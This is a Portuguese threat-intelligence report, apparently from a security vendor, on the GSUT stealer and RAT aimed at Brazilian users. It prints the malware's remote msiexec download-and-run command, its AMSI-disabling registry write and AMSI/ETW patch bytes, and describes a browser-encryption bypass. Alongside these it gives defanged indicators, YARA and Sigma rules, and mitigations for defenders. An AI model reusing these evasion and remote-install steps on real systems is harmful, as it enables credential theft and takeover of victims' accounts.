GSUT: novo stealer e RAT modular direcionado a usuários no Brasil
A PurpleHat identificou o GSUT, um framework de roubo de informações e acesso remoto sem documentação pública. A cadeia parte de um arquivo HTA de 435 bytes e termina com plugins carregados em memória que coletam cookies, credenciais e carteiras de criptomoedas, controlam contas do Outlook.com e dão ao operador acesso remoto.
· PurpleHat
Principais conclusões
- Em 14 de outubro de 2026, a PurpleHat identificou uma nova família de malware, chamada GSUT por seus autores, que combina roubo de informações e acesso remoto. Até a data desta publicação, não há relatórios públicos sobre a família.
- A infecção começa com um arquivo HTA de 435 bytes, distribuído em um ZIP com nome de cupom, e termina com um runtime Python embarcado que carrega a DLL principal e os plugins diretamente em memória.
- Os plugins coletam cookies e senhas do Chrome, Edge e Brave, com contorno da App-Bound Encryption, além de carteiras de criptomoedas e tokens de sessão da Microsoft.
- Um plugin dedicado usa a sessão do Outlook.com da vítima para coletar contatos e enviar e-mails de campanha a partir da conta comprometida.
- O módulo de acesso remoto é ativado quando o título da janela em primeiro plano corresponde a uma lista definida pelo servidor, comportamento consistente com fraude bancária.
- O painel de operação, o versionamento do loader e o gerador de amostras indicam um produto mantido por uma equipe organizada, possivelmente oferecido como serviço.
Visão geral
Em 14 de outubro de 2026, a PurpleHat analisou a amostra CUPON_8353.zip, que contém o arquivo CUPON_8353.hta. As análises dinâmica e estática revelaram um framework modular de roubo de informações e acesso remoto, identificado pelos próprios autores como GSUT.
A única referência pública relacionada é o pacote npm malicioso @gsutevil/hta-stage, classificado pelo Amazon Inspector e incluído no banco OSV como MAL-2026-16419 em 22 de setembro de 2026. O pacote contém uma versão anterior do mesmo loader JScript.
A interface do painel de operação está em português europeu, mas os indicadores de alvo apontam para usuários no Brasil: os modelos de e-mail usam datas no formato brasileiro e o plugin de webmail aceita contas outlook.com.br. A infraestrutura é recente. O domínio do C2 foi registrado em 6 de outubro de 2026, e os plugins foram compilados entre 29 de setembro e 13 de outubro de 2026.
Cadeia de infecção
A Figura 1 resume a cadeia de infecção, do arquivo ZIP inicial até a execução dos plugins em memória.
- O usuário extrai
CUPON_8353.zipe executaCUPON_8353.hta. - O
mshta.exeé redirecionado parahxxps://nwinterprise[.]it[.]com/v1/hta/app, que retorna uma segunda HTA com código JScript. - A segunda HTA baixa e executa
/v1/hta/stage.js. O script desativa o AMSI do Windows Script Host, solicita um token ao servidor e executamsiexec /i hxxps://nwinterprise[.]it[.]com/guest.msi?t=<token> /qn. - O pacote MSI, de 28 MB, instala um runtime Python embarcado e executa
bootstrap.py. O script decifracore.dat, cifra o conteúdo novamente com uma chave derivada de atributos da máquina, estabelece persistência em%LOCALAPPDATA%\r<hex>\p<hex>\e remove os artefatos da instalação. - O supervisor, executado por
pythonw.exe, carregacore.dllno próprio processo e chama a exportaçãogsut_core_run. - O core realiza o inventário do sistema, configura a persistência, reporta ao C2
hub.appwebaxi[.]come executa em memória os plugins enviados pelo servidor.
Estágio 1: HTA e loader JScript
O arquivo ZIP contém três arquivos: CUPON_8353.hta e dois arquivos de fachada no diretório __/. O arquivo README_7607e8.txt traz o texto "Setup Helper — Extract and open the .hta to continue. Build 7607e8", e o pkg_7607e8.xml declara <Vendor>GSUT Lab</Vendor>. Os timestamps dos arquivos coincidem com o minuto do download, o que indica que o servidor gera o ZIP a cada requisição.
A HTA inicial tem 435 bytes e não contém lógica maliciosa própria. Ela abre uma janela de 1×1 pixel, minimizada e oculta da barra de tarefas, e executa um meta refresh para hxxps://nwinterprise[.]it[.]com/v1/hta/app. Essa URL entrega uma segunda HTA, cujo código JScript:
- encerra a execução se existir o arquivo
Documentos\gsut.once.tmpouDocumentos\gsut.install.tmp, usados como marcadores de execução única; - define a variável
window.__gsutBasescom a lista de servidores; - baixa
/v1/hta/stage.jspor meio deMSXML2.ServerXMLHTTP, com o User-AgentMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; mshta), e injeta o conteúdo como um novo elemento<script>.
A HTA também contém a função bootNpm(npm), que obtém o stage.js de uma URL alternativa. Nesta amostra, a variável correspondente estava vazia. A relação com o npm é detalhada mais adiante.
O stage.js, de 16 KB, recebe uma ofuscação diferente a cada build, com nomes de funções aleatórios e strings cifradas com XOR em até duas camadas. Após a decodificação, o script:
- grava
AmsiEnable = 0emHKCU\Software\Microsoft\Windows Script\Settings, primeiro comWScript.Shell.RegWritee depois com o método WMIStdRegProv.SetDWORDValue; - reconstrói os nomes
EtwEventWrite*,GetProcAddresseVirtualProtect, sem aplicar patch. Um comentário no código registra a limitação do JScript: "Native VirtualProtect is out of scope; soft-fail only"; - aguarda entre 63 e 148 ms em um laço de espera ativa;
- envia o nome do computador e do usuário para
POST /v1/hta/msi-tokene recebe um token. A resposta é avaliada com o construtorFunction, o que permite ao servidor executar JScript arbitrário nessa etapa; - reporta cada fase (
loader,msiexec,installed) paraPOST /v1/hta/event, com nome da máquina, usuário e código de saída; - executa
msiexec /i "hxxps://nwinterprise[.]it[.]com/guest.msi?t=<token>" /qn /norestart REBOOT=ReallySuppress. SeWScript.Shell.Runfalhar, recorre aShell.Application.ShellExecutee, em seguida, awmic process call create.
O código também chama funções opcionais (__gsutStep, __gsutInstallBegin, __gsutInstallEnd e __gsutHtaSkin === "bb") com as etapas cdn, folder, ps1, write e install. Esses ganchos indicam que o construtor pode gerar HTAs com telas falsas de instalação em diferentes temas visuais. Na amostra analisada, a janela permaneceu invisível.
Estágio 2: instalador MSI e bootstrap Python
O guest.msi (28 MB) instala em %LOCALAPPDATA%\la785d2bf\ca785d2bf44\ a distribuição oficial do Python embarcado (python-embed), a biblioteca unseal.dll, o arquivo cifrado core.dat e o script bootstrap.py. Uma custom action do MSI executa o bootstrap. O cabeçalho do script indica que ele é gerado pelo comando gsut-cli builder guest-msi.
O bootstrap executa as seguintes etapas:
- Desativação do AMSI e do ETW. O script aplica patches em
amsi.dll!AmsiScanBuffer(31 C0 05 57 00 07 80 C3, que retornaE_INVALIDARG) e emntdll.dll!EtwEventWrite(2B C0 C3, que retorna 0). Os nomes das funções e os bytes dos patches são cifrados com XOR e variam a cada build. - Decifragem do
core.dat. A funçãounseal.dll!gsut_unseal_filerecebe uma chave de 32 bytes armazenada como dois valores combinados por XOR. O resultado é o arquivo_payload.zip. - Vinculação à máquina. O script deriva uma nova chave com SHA-256 a partir de
"gsut-core-dat-env-v1\n", doCOMPUTERNAME, do número de série do volume e doMachineGuid, e cifra o payload novamente. A configuração do C2 (guest.json) também é protegida com XChaCha20-Poly1305. Umcore.datcopiado para outra máquina não pode ser decifrado. - Persistência em caminho aleatório. Os arquivos são copiados para
%LOCALAPPDATA%\r<8 hex>\p<8 hex>\e renomeados com oito caracteres hexadecimais aleatórios. Os arquivosstart.py,core.dllecore.datpassam a ter nomes como3fa1c09e.py. O arquivo.datrecebe os atributos oculto e de sistema, e um arquivo<stem>.1armazena o mapeamento de nomes. - Remoção de artefatos. O script exclui
bootstrap.py,unseal.dll,hostgate.exee o ZIP intermediário. Um processopythonwindependente aguarda 8 segundos e remove o diretório de instalação do MSI. Em caso de falha durante o processo, o bootstrap exclui todo o diretório de persistência.
Em seguida, o supervisor (originalmente start.py) é executado com pythonw.exe -B, sem janela. O componente:
- interrompe a execução quando roda sob a conta SYSTEM ou sob Wine, quando o sistema tem menos de 768 MB de RAM, quando encontra variáveis de ambiente de CI (
CI,GITHUB_ACTIONS,GITLAB_CI,TF_BUILD,JENKINS_URL) ou quando detectaSbieDll.dll,cmdvrt32.dll,sxin.dll,Sf2.dllousnxhk.dllno System32; - cria o mutex
Local\GSUTSupervisor; - carrega
core.dllno próprio processo e chama a exportaçãogsut_core_runem uma thread separada.
Os plugins nunca são gravados em disco. Eles ficam em um catálogo dentro do core.dat, e o script plugin_host.py os recebe pela entrada padrão e chama gsut_plugin_host_run para carregá-los em memória.
O código Python contém docstrings detalhadas, com referências a registros internos de decisão de arquitetura ("ADR 0031", "ADR 0054 / v2.46"), a tickets ("fix-042", "task-534") e a um "lab harness". Esses elementos indicam um projeto com controle de versão, testes e processo de desenvolvimento estruturado.
Core e plugins
O core.dll (6,1 MB) é um executável PE x64 compilado com MinGW-w64 (GCC 13), com OpenSSL vinculado estaticamente. Segundo o próprio código, a execução segue a ordem probe, persist-evade, relatório ao C2 e "recipe". A recipe é a lista de plugins que o servidor determina para cada máquina. Cada plugin exporta gsut_plugin_run e retorna JSON em um formato versionado (gsut.cookies.v1, gsut.creds.v1, gsut.files.v1, gsut.webmail.v1).
| Plugin | Tamanho | Função |
|---|---|---|
remote.dll | 6,8 MB | Acesso remoto: captura de tela via DXGI Desktop Duplication, com GDI como alternativa, a 5 fps em JPEG; controle de mouse e teclado; acesso à área de transferência; transporte por WSS ou QUIC; mutex Local\GSUTRemote. A sessão é iniciada quando o título da janela ativa corresponde à lista obtida em /title-triggers. |
es-browser-cookies.dll | 1,0 MB | Coleta de cookies do Chrome, Edge, Brave e Firefox. Contorna a App-Bound Encryption ao iniciar o navegador com um --user-data-dir próprio e usar o protocolo de depuração remota (marcadores GSUTABE1, CDP_ABE_ENC_B64, C:\Temp\gsut_abe). |
es-browser-creds.dll | 1,0 MB | Coleta de senhas salvas nos mesmos navegadores, com a mesma técnica de contorno da App-Bound Encryption. |
es-wallet.dll | 48 KB | Coleta de carteiras MetaMask (extensão do Chrome), Exodus, Electrum e Atomic. |
es-webmail-outlook.dll | 81 KB | Sequestro de sessão do Outlook.com, Outlook.com.br e Live a partir de cookies e do cache MSAL. Usa o refresh token para obter um access token, coleta contatos das caixas de entrada e de enviados e envia e-mails de campanha (HTML com anexo, destinatários em cópia oculta, com controle de taxa) pela conta da vítima. |
es-files.dll | 91 KB | Coleta de arquivos (gsut.files.v1). |
probe.dll | 1,0 MB | Inventário do sistema, incluindo os produtos de segurança instalados (Windows Defender, Kaspersky, Bitdefender, Avast/AVG, Norton, McAfee) e um resumo dos dados disponíveis para coleta. Envia o resultado para /v1/probe/report. |
persist-evade.dll | 91 KB | Persistência por chave Run e atalho .lnk que executam o supervisor com pythonw.exe. |
es-keybox.dll | 38 KB | Idêntico a recipe-stub.dll neste build (mesmo hash); funciona como espaço reservado. |
Tabela 1. Plugins do catálogo armazenado em core.dat.
O plugin de webmail é o componente menos comum da família. Ele embute código Python com funções como fetch_people, mint_access, create_item_body(to, name, subject, html, attachment_name, attachment, bcc) e data_pt_br(). Com ele, cada máquina infectada passa a enviar phishing de uma conta legítima para contatos reais da vítima. Avaliamos com baixa confiança que o próprio CUPON_8353.zip tenha sido distribuído dessa forma.
Comunicação com o C2
A configuração de comunicação está no guest.json decifrado. O canal principal é um WebSocket em wss://hub.appwebaxi[.]com/v1/guest, com TLS 1.3 como versão mínima e certificate pinning pelo hash da chave pública (SPKI Wm/Q2QEm/3XPf2Dmy6djoHFebMJ209ffzaQaxZBzeTs=). Proxies com inspeção TLS interrompem a conexão. Sem um pin configurado, o remote.dll não envia a mensagem HELLO.
| Endpoint | Uso |
|---|---|
wss://hub.appwebaxi[.]com/v1/guest | Canal de controle e sessão remota (ping a cada 15 s, timeout de 45 s) |
hxxps://hub.appwebaxi[.]com/v1/guest/harvest | Envio dos dados roubados |
hxxps://hub.appwebaxi[.]com/v1/guest/plugins | Atualização do catálogo de plugins |
hxxps://hub.appwebaxi[.]com/v1/guest/title-triggers | Lista de títulos de janela que disparam a sessão remota |
hxxps://hub.appwebaxi[.]com/v1/probe/report | Relatório de inventário da máquina |
Tabela 2. Endpoints do C2 definidos em guest.json.
As requisições incluem o cabeçalho X-Fleet-Token com um token fixo por campanha (1bdfe245…edc17, parcialmente omitido). Os dados exfiltrados são cifrados com XChaCha20-Poly1305 sobre o TLS, com chaves derivadas por HKDF-SHA256 a partir de rótulos como gsut-v1/link-c2s, gsut-v1/link-s2c, gsut-v1/room-wrap e gsut-v1/guest-identity. As atualizações são verificadas com assinaturas Ed25519 (update_crypto.py) em um formato canônico que, segundo um comentário no código, replica internal/application/guestupdate/canonical.go do servidor escrito em Go.
O painel tem ainda uma tela de bloqueios com os motivos country_blocked, locale_blocked, hostname_blocked e windows_user_blocked, que permite ao operador recusar vítimas por país, idioma, nome de máquina ou nome de usuário. Essa filtragem ocorre no servidor e não pode ser observada apenas pela análise do binário.
Infraestrutura e painel de operação
A operação usa dois domínios e três endereços IP, todos configurados nas semanas anteriores à análise.
| Indicador | Função | Hospedagem | Observação |
|---|---|---|---|
nwinterprise[.]it[.]com → 192.64.115[.]101 | Entrega da HTA, do stage.js, do token e do MSI | Namecheap | — |
hub.appwebaxi[.]com → 199.91.221[.]57 | C2 e painel de operação | BL Networks | Certificado Let's Encrypt emitido em 12/10/2026 |
appwebaxi[.]com → 162.252.199[.]153 | Domínio raiz | BL Networks | Registrado em 06/10/2026 na NameSilo (DNS DNSOWL) |
Tabela 3. Infraestrutura da operação.
O endereço hxxps://199.91.221[.]57/login, servido pelo mesmo host de hub.appwebaxi[.]com e com certificado cujo SPKI corresponde ao pin do guest.json, hospeda um painel React/Vite com o título "GSUT" e o rodapé "© 2026 GSUT". A coleta limitou-se a requisições GET à página pública de login e aos arquivos JavaScript carregados por ela, sem tentativa de autenticação.
Os módulos referenciados no código do painel descrevem o produto completo: Frota (máquinas infectadas), Instalações, Sessões (acesso remoto), Cookies, Credenciais ("Emails e senha"), Carteiras, Ficheiros, Emails (modelos de campanha), Sites ("Títulos da janela", os gatilhos do acesso remoto), Bloqueios, Catálogo de plugins e Gerador (construtor de amostras), além de Admins, perfis de Operador, Audit e Configurações. A tela de administradores lista os clientes gsut-cli e gsut-mcp. O segundo nome sugere integração com agentes de IA por meio do Model Context Protocol.
A interface usa português europeu, com termos como "utilizador", "ficheiro", "ligação", "guardar" e "a carregar". Os indicadores de alvo, no entanto, apontam para o Brasil: os modelos de e-mail usam a variável {{data_pt_br}}, o plugin de webmail aceita domínios outlook.com.br e a isca é um "CUPON".
O endereço configurado por padrão para receber dados do webmail é r0lab[@]proton[.]me. A imagem de fundo da tela de login é uma fotografia de banco de imagens (Yaowarat, Bangkok), sem metadados EXIF.
Relação com o pacote npm @gsutevil/hta-stage
O único registro público associado ao GSUT é o pacote npm @gsutevil/hta-stage, versão 1.62.0. O Amazon Inspector classificou o pacote como malicioso, e ele foi incluído no banco OSV como MAL-2026-16419 em 22 de setembro de 2026. O pacote já foi removido do registro npm.
O pacote continha o arquivo dist/stage.js (SHA-256 b3ce9de41e247304592ca4e9df085d94055bb2bfee35c72e91795e39723c11a7). De acordo com a descrição publicada pelo Amazon Inspector, o comportamento é equivalente ao do stage.js analisado pela PurpleHat (Tabela 4).
| Comportamento | npm 1.62.0 (set/2026) | Amostra analisada (out/2026) |
|---|---|---|
Servidor recebido por window.__gsutBases | Sim | Sim |
AmsiEnable = 0 via RegWrite e WMI StdRegProv | Sim | Sim |
Nomes de ETW e VirtualProtect remontados | Sim | Sim (sem aplicação de patch) |
Token de /v1/hta/msi-token avaliado com Function | Sim | Sim |
Telemetria para /v1/hta/event com máquina e usuário | Sim | Sim |
msiexec /i <base>/guest.msi?t=<tok> /qn /norestart REBOOT=ReallySuppress, com ShellExecute e wmic de reserva | Sim | Sim |
Mata python.exe, pythonw.exe, core.exe, guest.exe e desinstala o produto "GSUT Guest" | Sim | Não |
Marcador gsut.once.tmp em Documentos | Não citado | Sim |
Tabela 4. Comparação entre o stage.js do pacote npm e o da amostra analisada.
Os hashes diferem porque o construtor gera um novo stage.js a cada build. A função bootNpm() presente na HTA permite obter o loader de uma URL alternativa. Avaliamos com confiança moderada que o operador publica o stage.js no npm para distribuí-lo por CDNs públicas como unpkg e jsDelivr, cujo tráfego tende a ser tratado como legítimo por proxies corporativos.
O registro também ajuda a datar a operação: o loader já estava na versão 1.62.0 em 22 de setembro, semanas antes do registro do domínio atual do C2. O escopo gsutevil provavelmente corresponde a um apelido do desenvolvedor.
Avaliação
Até a data desta publicação, o GSUT não tem documentação pública. A pesquisa por domínios, endereços IP, strings, endereço de e-mail e caminho de build em mecanismos de busca, no urlscan.io e no crt.sh não retornou resultados além do registro do npm.
O C2 é escrito em Go (caminho de build es-guests_win-server_golang-operador_golang), o cliente em C com MinGW e o loader em Python. As referências a ADRs, tickets, testes e ambiente de laboratório, somadas à versão 1.62.0 do loader em setembro, indicam desenvolvimento contínuo por uma equipe com práticas de engenharia de software.
O painel inclui administradores, operadores, trilha de auditoria, gerador de amostras e os clientes gsut-cli e gsut-mcp. Essa estrutura é compatível tanto com a operação de um único grupo quanto com um kit comercializado como serviço (MaaS), e as evidências disponíveis não permitem distinguir entre as duas hipóteses. O uso de português europeu na interface, com alvos no Brasil, também não é suficiente para atribuir a nacionalidade dos desenvolvedores.
A combinação de roubo de sessões, credenciais e carteiras com acesso remoto acionado pelo título da janela é consistente com fraude bancária. A propagação pela conta de e-mail da vítima amplia o alcance da campanha sem exigir infraestrutura própria de envio.
Cada build gera nomes de arquivo, hashes e chaves diferentes, e o payload só pode ser decifrado na máquina em que foi instalado. Por isso, a detecção baseada em comportamento é mais eficaz do que a busca por hashes.
Limitações
- Na sandbox da PurpleHat, baseada em uma versão do CAPEv2 modificada pela nossa equipe, o supervisor encerrou a execução cerca de 1 segundo após a injeção do monitor. Não houve tráfego observado com o C2, e as etapas finais foram analisadas de forma estática.
- A lista de títulos de janela que aciona o acesso remoto é fornecida pelo servidor e não foi obtida.
- O vetor de entrega inicial (anexo ou link em e-mail) não foi confirmado.
Detecção e caça
Como nomes de arquivo e hashes variam a cada build, recomendamos priorizar os seguintes comportamentos:
- Execução de
mshta.execom uma HTA que fazmeta refreshpara uma URL HTTPS, seguida demsiexec /i https://…/guest.msi?t=… /qn. - Gravação de
AmsiEnable = 0emHKCU\Software\Microsoft\Windows Script\Settings, ação rara em software legítimo. - Presença dos arquivos
%USERPROFILE%\Documents\gsut.once.tmp,gsut.install.tmpe%TEMP%\gsut-bootstrap-err.txt. pythonw.exeexecutado a partir de%LOCALAPPDATA%\r[0-9a-f]{8}\p[0-9a-f]{8}\python-embed\com um script.pyde oito caracteres hexadecimais, além de chaveRunou atalho.lnkapontando para esse caminho.- Mutexes
Local\GSUTSupervisoreLocal\GSUTRemote. - Chrome, Edge ou Brave iniciados por
pythonw.execom--user-data-dirpróprio, e o diretórioC:\Temp\gsut_abe. - Em serviços de nuvem, uso de refresh token do Outlook.com a partir de um endereço IP novo, seguido de envio em massa com destinatários em cópia oculta.
As regras YARA e Sigma estão na seção Regras de detecção.
Recomendações
Organizações
- Bloquear a execução de
mshta.exepor meio de AppLocker ou WDAC, ou associar a extensão.htaa um editor de texto. - Impedir que usuários sem privilégios administrativos executem
msiexeccom URLs remotas. - Gerar alertas para
pythonw.exeexecutado a partir de%LOCALAPPDATA%. - Monitorar a gravação de
AmsiEnable = 0emHKCU\Software\Microsoft\Windows Script\Settings. - Bloquear no proxy e no DNS os domínios e endereços IP listados na Tabela 5.
- Avaliar a necessidade de acesso a CDNs de pacotes npm, como unpkg e jsDelivr, em estações que não são usadas para desenvolvimento.
Usuários afetados
- Isolar a máquina da rede e tratá-la como comprometida, já que o operador tem acesso remoto completo. A reinstalação do sistema operacional é a opção mais segura.
- Alterar, a partir de outro dispositivo, as senhas armazenadas nos navegadores, com prioridade para contas de e-mail e bancárias.
- Encerrar todas as sessões ativas da conta Microsoft. A troca de senha nem sempre invalida cookies e tokens já coletados.
- Ativar a autenticação em dois fatores nas contas principais.
- Verificar a pasta Itens Enviados do Outlook e informar os contatos caso existam mensagens não reconhecidas.
- Transferir os fundos de carteiras MetaMask, Exodus, Electrum ou Atomic para novas carteiras, criadas em um dispositivo limpo e com uma nova frase de recuperação.
Indicadores de comprometimento
Domínios, endereços IP, URLs e e-mails estão neutralizados ([.], hxxps, [@]).
Rede
| Tipo | Valor | Contexto |
|---|---|---|
| Domínio | nwinterprise[.]it[.]com | Entrega de HTA, stage.js e MSI |
| Domínio | hub.appwebaxi[.]com | C2 e painel |
| Domínio | appwebaxi[.]com | Domínio raiz, registrado em 06/10/2026 |
| IP | 192.64.115[.]101 | nwinterprise[.]it[.]com (Namecheap) |
| IP | 199.91.221[.]57 | hub.appwebaxi[.]com (BL Networks) |
| IP | 162.252.199[.]153 | appwebaxi[.]com (BL Networks) |
| URL | hxxps://nwinterprise[.]it[.]com/v1/hta/app | HTA de segundo estágio |
| URL | hxxps://nwinterprise[.]it[.]com/v1/hta/stage.js | Loader JScript |
| URL | hxxps://nwinterprise[.]it[.]com/v1/hta/msi-token | Token do MSI |
| URL | hxxps://nwinterprise[.]it[.]com/v1/hta/event | Telemetria da instalação |
| URL | hxxps://nwinterprise[.]it[.]com/guest.msi?t=<token> | MSI de 28 MB |
| URL | wss://hub.appwebaxi[.]com/v1/guest | Canal de controle |
| URL | hxxps://hub.appwebaxi[.]com/v1/guest/harvest | Exfiltração |
| URL | hxxps://hub.appwebaxi[.]com/v1/guest/plugins | Catálogo de plugins |
| URL | hxxps://hub.appwebaxi[.]com/v1/guest/title-triggers | Gatilhos por título de janela |
| URL | hxxps://hub.appwebaxi[.]com/v1/probe/report | Inventário |
| SPKI pin | Wm/Q2QEm/3XPf2Dmy6djoHFebMJ209ffzaQaxZBzeTs= | Certificado do C2 |
r0lab[@]proton[.]me | Padrão no painel | |
| npm | @gsutevil/hta-stage@1.62.0 | MAL-2026-16419 |
Tabela 5. Indicadores de rede.
Hashes de arquivos (SHA-256)
| SHA-256 | Arquivo |
|---|---|
980523d0b7ce254f8dc1b949b9da46e5e3c44f4133e76f03ca04dc44a6be631b | CUPON_8353.zip |
3bdec1ac44cacef8e0a9fc881fcff83f59c885f61fff5910b8e41d62ca01f9e0 | CUPON_8353.hta |
b3ce9de41e247304592ca4e9df085d94055bb2bfee35c72e91795e39723c11a7 | stage.js (pacote npm) |
3093523f2da1cc0dcfa4b6c7be9ff3adf07a0267b81e6fe329730922eb7d42e6 | _payload.zip decifrado |
7fbd125153f39de96df9339303f450f7d654513ae69e081d87aa20c1443538bd | core.dll |
1fa2726326554f4fdec19ddc0601765f1b714ea3345a4e0ccccaefc6bcf536ac | remote.dll |
a2d32ab650ccc72abf0701657bd409072852404c5e72b27bc119cd919b5632f3 | es-browser-cookies.dll |
b170ca9a501944868c8687337ba205cea8f56308d29e77a1b5619ec031660bd0 | es-browser-creds.dll |
6fe27bef28e41162dfc24de5b1eb029f649d1643a67b321f4fb147af8bdd4f5a | es-wallet.dll |
c2faec139bd16d56e7087c415697fa5dc6e71b010e0465596ad4d7889da78f5b | es-webmail-outlook.dll |
c110b982a0810a8be1ea6f9f432a3fbec05d039ec97eb2eb25182aec6f8d648e | es-files.dll |
bf7838fe1734155a33f0be82a10533f62db1e992d9a887975bfc6cb6daf741bb | probe.dll |
b8b96c5041e2c5b51742e900caa08fad3d027b3a48d191cde7e5729ba406ef3f | persist-evade.dll |
304f28854a053ca238c72fee87140a7473ec3c75cda547aaa0cc82895901eeaf | es-keybox.dll / recipe-stub.dll |
Tabela 6. Hashes de arquivos.
Artefatos no host
| Tipo | Valor | Contexto |
|---|---|---|
| Mutex | Local\GSUTSupervisor | Supervisor |
| Mutex | Local\GSUTRemote | Acesso remoto |
| Arquivo | %USERPROFILE%\Documents\gsut.once.tmp | Marcador da HTA |
| Caminho | %LOCALAPPDATA%\r<8 hex>\p<8 hex>\ | Persistência |
| Caminho | %LOCALAPPDATA%\la785d2bf\ca785d2bf44\ | Instalação do MSI (nesta amostra) |
| Registro | HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0 | AMSI desligado |
Tabela 7. Artefatos no host.
Regras de detecção
YARA
rule GSUT_Framework_Components
{
meta:
description = "GSUT stealer/RAT: core, plugins e loader Python"
author = "PurpleHat"
date = "2026-10-14"
reference = "https://purplehat.ai/blog/gsut-stealer-rat-brasil/"
hash1 = "7fbd125153f39de96df9339303f450f7d654513ae69e081d87aa20c1443538bd"
hash2 = "1fa2726326554f4fdec19ddc0601765f1b714ea3345a4e0ccccaefc6bcf536ac"
strings:
$a1 = "gsut_core_run" ascii
$a2 = "gsut_plugin_run" ascii
$a3 = "gsut_plugin_host_run" ascii
$a4 = "gsut-core-dat-env-v1" ascii
$a5 = "Local\\GSUTSupervisor" ascii wide
$a6 = "Local\\GSUTRemote" ascii wide
$a7 = "GSUTABE1" ascii
$a8 = "gsut_unseal_file" ascii
condition:
filesize < 10MB and 2 of them
}
A regra cobre o core.dll, os plugins, a unseal.dll e os scripts Python. O caminho de build do servidor em Go não foi incluído, pois não aparece necessariamente nos binários do cliente. Recomendamos validar a regra contra um conjunto de arquivos legítimos antes do uso em produção.
Sigma
title: GSUT - AMSI do Windows Script Host desligado via registro
id: a3151162-12ba-4dbe-984e-a326eddd8053
status: experimental
description: Escrita de AmsiEnable = 0, usada pelo stage.js do GSUT para desligar o AMSI do Windows Script Host.
author: PurpleHat
date: 2026-10-14
tags:
- attack.defense-evasion
- attack.t1562.001
logsource:
product: windows
category: registry_set
detection:
selection:
TargetObject|endswith: '\Software\Microsoft\Windows Script\Settings\AmsiEnable'
Details: 'DWORD (0x00000000)'
condition: selection
falsepositives:
- Raros
level: high
---
title: GSUT - msiexec instala MSI remoto em modo silencioso
id: d7e82787-c79b-41e0-a656-e52f338390cd
status: experimental
description: msiexec instalando um MSI a partir de URL sem interface, como faz o stage.js do GSUT.
author: PurpleHat
date: 2026-10-14
tags:
- attack.defense-evasion
- attack.t1218.007
logsource:
product: windows
category: process_creation
detection:
selection_img:
Image|endswith: '\msiexec.exe'
selection_cli:
CommandLine|contains|all:
- '/i'
- 'http'
- '/qn'
selection_gsut:
CommandLine|contains: 'guest.msi?t='
condition: selection_img and (selection_cli or selection_gsut)
falsepositives:
- Ferramentas de gestão que instalam pacotes a partir de URL
level: medium
---
title: GSUT - pythonw.exe executado de diretório aleatório em LOCALAPPDATA
id: 3f30f02a-937e-4e7c-bf4c-f8c43fcf09a5
status: experimental
description: Supervisor do GSUT rodando a partir do caminho de persistência r<8 hex>\p<8 hex>.
author: PurpleHat
date: 2026-10-14
tags:
- attack.persistence
- attack.t1547.001
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\pythonw.exe'
Image|re: '(?i)\\AppData\\Local\\r[0-9a-f]{8}\\p[0-9a-f]{8}\\'
condition: selection
falsepositives:
- Improváveis
level: high
MITRE ATT&CK
| Tática | Técnicas |
|---|---|
| Desenvolvimento de recursos (Resource Development) | T1608.001 Upload Malware (stage.js publicado no npm) |
| Acesso inicial (Initial Access) | T1566 Phishing (vetor não confirmado) |
| Execução (Execution) | T1204.002 Malicious File, T1059.007 JavaScript, T1059.006 Python, T1047 WMI |
| Persistência (Persistence) | T1547.001 Registry Run Keys / Startup Folder (Run e LNK) |
| Evasão de defesas (Defense Evasion) | T1218.005 Mshta, T1218.007 Msiexec, T1562.001 Disable or Modify Tools (AMSI), T1562.006 Indicator Blocking (ETW), T1112 Modify Registry, T1027 Obfuscated Files, T1140 Deobfuscate/Decode, T1036 Masquerading (nomes hex e arquivos de fachada), T1480.001 Environmental Keying, T1497.001 System Checks, T1564.001 Hidden Files, T1070.004 File Deletion, T1620 Reflective Code Loading |
| Acesso a credenciais (Credential Access) | T1555.003 Credentials from Web Browsers, T1539 Steal Web Session Cookie, T1528 Steal Application Access Token (MSAL) |
| Descoberta (Discovery) | T1082 System Information, T1518.001 Security Software, T1010 Application Window Discovery |
| Movimento lateral (Lateral Movement) | T1534 Internal Spearphishing (envio pela caixa da vítima) |
| Coleta (Collection) | T1005 Data from Local System, T1113 Screen Capture, T1115 Clipboard Data, T1114.002 Remote Email Collection (contatos do Outlook) |
| Comando e controle (Command and Control) | T1071.001 Web Protocols, T1573 Encrypted Channel, T1105 Ingress Tool Transfer (MSI e plugins), T1219 Remote Access Tools |
| Exfiltração (Exfiltration) | T1041 Exfiltration Over C2 Channel |
Tabela 8. Mapeamento para o MITRE ATT&CK.
Referências
- OSV MAL-2026-16419: Malicious code in @gsutevil/hta-stage (npm)
- ossf/malicious-packages: registro MAL-2026-16419 com a descrição do Amazon Inspector
- Análise dinâmica na sandbox da PurpleHat (CAPEv2 com modificações próprias) e análise estática dos artefatos, 14 de outubro de 2026.
Para compartilhar amostras relacionadas ao GSUT ou solicitar apoio em resposta a incidentes, entre em contato pelo e-mail contato@purplehat.ai.
As informações desta publicação destinam-se a detecção, caça e resposta a incidentes. Os indicadores refletem as observações da PurpleHat até 14 de outubro de 2026 e podem mudar. A PurpleHat não se responsabiliza pelo uso indevido destas informações. Marcas e nomes de terceiros são citados apenas para fins de identificação.